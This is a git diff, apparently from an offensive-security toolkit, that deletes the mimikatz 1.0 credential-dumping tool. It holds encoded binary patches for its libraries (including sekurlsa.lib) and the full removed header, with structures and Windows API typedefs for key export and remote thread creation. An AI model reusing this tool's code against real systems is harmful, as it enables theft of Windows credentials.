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 RQbIOiA!rX48ny`7;V*=gjn)7F diff --git a/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib b/Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib deleted file mode 100644 index cdcf2b53a096d64dd1c1b3d0e5ddbe9d1e65f713..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4094 zcmcIm&2G~`5dM--N|W?Qlmj3E0U=Q&R7#tKf)HwHK~$s#B|$=5Ot9V5YHC+W+EXQ7 zfCoSbapWO5Ax@k)aNq$rA`ZL(%-Fm3uJc0zWu@`%jK}+VX203p^S5eEbL)2cYEEz0 z78d6Uh5X`NQMbY_#m{y=J3TgJEnu zE|oex@Itx-4%PdQHy#+P%hhH2#M#+3j9tgALp%dZ-EOZmZEL6I!cfQYxA*p3v+a0p zOLbF>fxqLLUfp%t9t>p|yxVkK%V>MsHqW6cAy&yVYmH^o^!D6#02H%?o|WZw1)P3d zH$;B6*|f!66*-RH-d%~!q8S3enq`%|y60BxR*MnoA14s-KKALLf`% zxoWq}rnAeL_Y<$`L-YE2#Oo;{_Qw(6=O{2U2E3jmJp)`J*3Q%T35~Pkzz>p76TnlF z1FDAaBnM=BOMX-sNFa%EOyC$sa1>J*!z9wkB7;#J>GLK$Ff*_CG$rjQ+ zOt!Enln7s`d5>177dvC?8_v>;q+M9Yl-Bv$QBXlKcch|&c3SvqjYnf8WHM^Ok{%1w zw`g=Fiyj&qw4m4^!%+h9L+HJ0$?a^`YBZSbf7-e8HzJ0Y5-Aj4t(7MdAa?pKF>Be+ z_v#lbfePHA!Aq%#ehE`|W*w{6u3eVmg_eBCjdUd!8T=Vr>6bEUP72magGgG$i36;TH~95S0`fQ9`2UiSQ7-}hA8$#EA0Pi>N?P*lLk5IC zg~-D8^ZXEvX9sQyjk_eO^!&RW;PBWoU$_>Y^QA=6XUlv4@Ax0ll`WS4DtahvS&&v{ z%R8xvp4sw$STM-S@=o3J(vVh}GDwxpFUp(Jv$U+TuY?e+bN9UUsj`Ah6|<46Ol?Y) z<)xkdzDPy%hnwF)a(b4K508rlnbI8JIk`eh3EsUJh4-(HONY8>P?bSeupe52(c))_ z3NSQUKD=k^v7M&Kl8mMvQ2&Nh5Ct8};weH(F%lg^^4QmahOU7^zB|$dLOP-&MQ5u9 zsVal4S^h?MM6T@-fv6tb>iif!KDjl -#include -#include -#include -#include -using namespace std; - -#define SECURITY_WIN32 -#define PAGE_SIZE 0x1000 -#define MAX_DOMAIN_LEN 24 -#define MAX_USERNAME_LEN 24 - -#define MIMIKATZ L"mimikatz" -#ifdef _M_X64 - #define MIMIKATZ_FULL L"mimikatz 1.0 x64 (RC)" -#else ifdef - #define MIMIKATZ_FULL L"mimikatz 1.0 x86 (RC)" -#endif - -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1) -#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2) -#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) - -#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) -#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L) -#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L) - -#define S_SWAP(a, b) {BYTE t = S[a]; S[a] = S[b]; S[b] = t;} - -typedef bool (* PKIWI_LOCAL_COMMAND) (vector * arguments); - -typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND { - PKIWI_LOCAL_COMMAND ptrCommand; - wstring commandName; - wstring commandHelp; - _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name, wstring help) : ptrCommand(command), commandName(name), commandHelp(help) {} - _KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(PKIWI_LOCAL_COMMAND command, wstring name) : ptrCommand(command), commandName(name), commandHelp() {} -} KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND, *PKIWI_MIMIKATZ_LOCAL_MODULE_COMMAND; - -typedef struct _KIWI_MIMIKATZ_LOCAL_MODULE { - wstring module; - wstring description; - vector commandes; - _KIWI_MIMIKATZ_LOCAL_MODULE(wstring leModule, wstring laDescription, vector lesCommandes) : module(leModule), description(laDescription), commandes(lesCommandes) {} -} KIWI_MIMIKATZ_LOCAL_MODULE, *PKIWI_MIMIKATZ_LOCAL_MODULE; - -typedef struct _CLIENT_ID { - PVOID UniqueProcess; - PVOID UniqueThread; -} CLIENT_ID, *PCLIENT_ID; - -typedef const ULONG CLONG; -typedef const UNICODE_STRING *PCUNICODE_STRING; -typedef STRING OEM_STRING; -typedef PSTRING POEM_STRING; -typedef CONST STRING* PCOEM_STRING; - -/* System* */ -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_006) (LPCSTR string, BYTE hash[16]); -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_007) (PUNICODE_STRING string, BYTE hash[16]); -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_025) (BYTE[16], DWORD *, BYTE[16]); -typedef NTSTATUS (WINAPI * PSYSTEM_FUNCTION_027) (BYTE[16], DWORD *, BYTE[16]); -/* CNG */ -typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_STORAGE_PROVIDER) (__out NCRYPT_PROV_HANDLE *phProvider, __in_opt LPCWSTR pszProviderName, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_ENUM_KEYS) (__in NCRYPT_PROV_HANDLE hProvider, __in_opt LPCWSTR pszScope, __deref_out NCryptKeyName **ppKeyName, __inout PVOID * ppEnumState, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_OPEN_KEY) (__in NCRYPT_PROV_HANDLE hProvider, __out NCRYPT_KEY_HANDLE *phKey, __in LPCWSTR pszKeyName, __in DWORD dwLegacyKeySpec, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_EXPORT_KEY) (__in NCRYPT_KEY_HANDLE hKey, __in_opt NCRYPT_KEY_HANDLE hExportKey, __in LPCWSTR pszBlobType, __in_opt NCryptBufferDesc *pParameterList, __out_opt PBYTE pbOutput, __in DWORD cbOutput, __out DWORD *pcbResult, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_GET_PROPERTY) (__in NCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PBYTE pbOutput, __in DWORD cbOutput, __out DWORD * pcbResult, __in DWORD dwFlags); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_BUFFER) (__deref PVOID pvInput); -typedef SECURITY_STATUS (WINAPI * PNCRYPT_FREE_OBJECT) (__in NCRYPT_HANDLE hObject); -typedef NTSTATUS (WINAPI * PBCRYPT_ENUM_REGISTERED_PROVIDERS)(__inout ULONG* pcbBuffer, __deref_opt_inout_bcount_part_opt(*pcbBuffer, *pcbBuffer) PCRYPT_PROVIDERS *ppBuffer); -typedef VOID (WINAPI * PBCRYPT_FREE_BUFFER) (__in PVOID pvBuffer); - -typedef NTSTATUS (WINAPI * PBCRYPT_OPEN_ALGORITHM_PROVIDER) (__out BCRYPT_ALG_HANDLE *phAlgorithm, __in LPCWSTR pszAlgId, __in_opt LPCWSTR pszImplementation, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_SET_PROPERTY) (__inout BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __in_bcount(cbInput) PUCHAR pbInput, __in ULONG cbInput, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GET_PROPERTY) (__in BCRYPT_HANDLE hObject, __in LPCWSTR pszProperty, __out_bcount_part_opt(cbOutput, *pcbResult) PUCHAR pbOutput, __in ULONG cbOutput, __out ULONG *pcbResult, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYPT_GENERATE_SYMMETRIC_KEY) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __out BCRYPT_KEY_HANDLE *phKey, __out_bcount_full_opt(cbKeyObject) PUCHAR pbKeyObject, __in ULONG cbKeyObject, __in_bcount(cbSecret) PUCHAR pbSecret, __in ULONG cbSecret, __in ULONG dwFlags); -typedef NTSTATUS (WINAPI * PBCRYTP_DESTROY_KEY) (__inout BCRYPT_KEY_HANDLE hKey); -typedef NTSTATUS (WINAPI * PBCRYTP_CLOSE_ALGORITHM_PROVIDER) (__inout BCRYPT_ALG_HANDLE hAlgorithm, __in ULONG dwFlags); - -/* Rtl* */ -#define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) -typedef NTSTATUS (WINAPI * PRTL_CREATE_USER_THREAD) (__in HANDLE Process, __in_opt PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, __in char Flags, __in_opt ULONG ZeroBits, __in_opt SIZE_T MaximumStackSize, __in_opt SIZE_T CommittedStackSize, __in PTHREAD_START_ROUTINE StartAddress, __in_opt PVOID Parameter, __out_opt PHANDLE Thread, __out_opt PCLIENT_ID ClientId); -typedef VOID (WINAPI * PRTL_INIT_STRING) (PSTRING DestinationString, PCSTR SourceString); -typedef VOID (WINAPI * PRTL_INIT_UNICODESTRING) (PUNICODE_STRING DestinationString, PCWSTR SourceString); -typedef NTSTATUS (WINAPI * PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING) (POEM_STRING DestinationString, PCUNICODE_STRING SourceString, BOOLEAN AllocateDestinationString); -typedef VOID (WINAPI * PRTL_FREE_OEM_STRING) (POEM_STRING OemString); -typedef PVOID (WINAPI * PRTL_LOOKUP_ELEMENT_GENERIC_TABLE_AV) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); -typedef enum _RTL_GENERIC_COMPARE_RESULTS (WINAPI * PRTL_AVL_COMPARE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID FirstStruct, __in PVOID SecondStruct); -typedef PVOID (WINAPI * PRTL_AVL_ALLOCATE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in CLONG ByteSize); -typedef VOID (WINAPI * PRTL_AVL_FREE_ROUTINE) (__in struct _RTL_AVL_TABLE *Table, __in PVOID Buffer); - -typedef struct _RTL_BALANCED_LINKS { - struct _RTL_BALANCED_LINKS *Parent; - struct _RTL_BALANCED_LINKS *LeftChild; - struct _RTL_BALANCED_LINKS *RightChild; - CHAR Balance; - UCHAR Reserved[3]; -} RTL_BALANCED_LINKS; -typedef RTL_BALANCED_LINKS *PRTL_BALANCED_LINKS; - -typedef enum _RTL_GENERIC_COMPARE_RESULTS { - GenericLessThan, - GenericGreaterThan, - GenericEqual -} RTL_GENERIC_COMPARE_RESULTS; - -typedef struct _RTL_AVL_TABLE { - RTL_BALANCED_LINKS BalancedRoot; - PVOID OrderedPointer; - ULONG WhichOrderedElement; - ULONG NumberGenericTableElements; - ULONG DepthOfTree; - PRTL_BALANCED_LINKS RestartKey; - ULONG DeleteCount; - PRTL_AVL_COMPARE_ROUTINE CompareRoutine; - PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine; - PRTL_AVL_FREE_ROUTINE FreeRoutine; - PVOID TableContext; -} RTL_AVL_TABLE, *PRTL_AVL_TABLE; diff --git a/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico b/Exfiltration/mimikatz-1.0/commun/icons/cmd_32.ico deleted file mode 100644 index 9ac92da71353e94f488d9c25622e946bfde62c89..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4286 zcmcJS2UL_-7RSd<+f9P2X64+3jkfH)ZnPKQK z3^OPLqLhIFsUk=fR4|5O+~n+L|9c0MJtimS=$_p-=RaS6zkA=k@4oM2FhQJKMz>%VQv%F3fj<4N-NX-RQ$S0X3w?@5WAp`SHK z+Yu!vB@A$r5(iRv$pgIPqyhP{Ty$N&eN+4JVf%;JK^!?#g)~iBN%2c%B?TslO|rIH zW-&~CV9e;z@7I`LUz6XjIAH?Frf=WJC)Oy^C!_@=E8^}~QC7O7^2x+RWz}f~DwAfF zDNUSSVQFsmPkDbItMTKcm;v{P8oEVyv1O#?D)g30ihgVA^2^0H~|0gT-Qv*kNyPj}|i~vR? zWO*>C5yG@y3@7K4*s)^=!otEvSerL*#(J`6?b@{{D=UMEiOI+qjHdZHYSgIzjL&cL z?^Dxtd*)?wu(&1z+OkaO5zky!1g!@msNc_nZn+5TO0uO~0JbzAhGds<&0QQj>x?yP z)*vDx0yl2lz@|-`ux;BmxVgFE#EBD_KYu>7wY5ilmd9Z72liqAp54euPkrSP8GTW!EEO8%Jm|=M zuSkb>Nh%iHNrjd;6Ri9kF!@~Q$HznG_AQtvB*7>l0eZ2wp_9e~Co>H~VK%b!vXM&? z(7u44$s-9xxe$tTArc87$jd<*pNIHckw}bGnN z%7mLLo4&>L8^=P2|%E<@{^6VN(y5sMEVgKG=?`zOL7XV|=P%u6GFyG4? zO!8eU;;ULIwlzv|xUB|GT@T^@svS$?#ZcYpi5YwSFv-Rd+G`IVvq_D* zr&W^<{fd+kzJ)Xsro?AS1W@NEVxijwXgIil>EaKg>&aM|R*02ZMX*Vy{Etn;B1c!K zpK^spQarSCGNGAGV|Z7L6%{4eSX+)=kI07h8n``cg6s2c@`sPfyZtd~&2cbo5BhD+ zj1_-b$%R2V7baEdFsw*}j)VuMAPGz2Vqg*)4kr1$=!7rUrb=+Nr5~X!FX7wJ1Ea(| zXu1bM-N_A0E?$O4R1|bG=y}S|CE_fslHSA4dMO;A)Zln`JubayM#%Fn7@m*DXDg3l z;i`kY&DZ^}$;aQUIujN$vb~%S);&H9h;I}T4wLhK&^hS?1HW5vt9*j^wgGV42a)!4 z7>*@%Sac~2%}&u8!O9jpk4-t#}tG1TDbH+!mZ(6>`Tmr z>bf(SX|XHM@rvJW!Ep9No2#;LMhmsEEu@>LND|>n5kUoO5_zrB!im|n!3NGzUxY*kQ zpFSGHH+|R=%Eff6zva?8z_1PTiC$Wlg%#CVlruuCuNK3yR0QqZ6lf&gf`+pP7M#0+ zt%7pIcMKw>V+c7e*a=jZTrWfK0>vts1B0A&m=}p*M=@}GR1cSq zCU`w-MPPqBV!wZmpnK(*X8v`cobT@AJ$F@Q&g*3j0@&3FVMptZl~hbMj@E)qs>%LW zpmoX%mRu3MYrDat@y{gR1!O~3_b{Sc`(Y=%53`_Xn0Q@*Db*)=U07Ch7rUyfaJr=t z{ynV->+e9st8Q?HpCh5A8MCeTpO*9G?f9+8L+17QSXnQGJ*{iDH3cv&rP`az!{X~# zF@MWmEO7RPIaiF!^*!KG4rX<|RSL!6WJMF$;T)K{1whaB5?GvgEGPfJuC2nk_C|!h zXhYPuU5NhfDH2}4K>U*y%(gmU`ZNfQAm97oU*Cy6g;ijCg~8%t5X>$Fz&b7-c4ZRmr#k4}`xr6A z=6u(Ko21)s`VmxCIWUR6{quME^8LeUoEU3b`?t5=$A*R?tgSAFNs*B10j)ogH=us_ zG#0t|VHGzIhl*ra!xzCOJ{^`ZT&VAIf*HL(*!YCtD?u(CM)Ix>0nb|zN&Hx1N0I;B 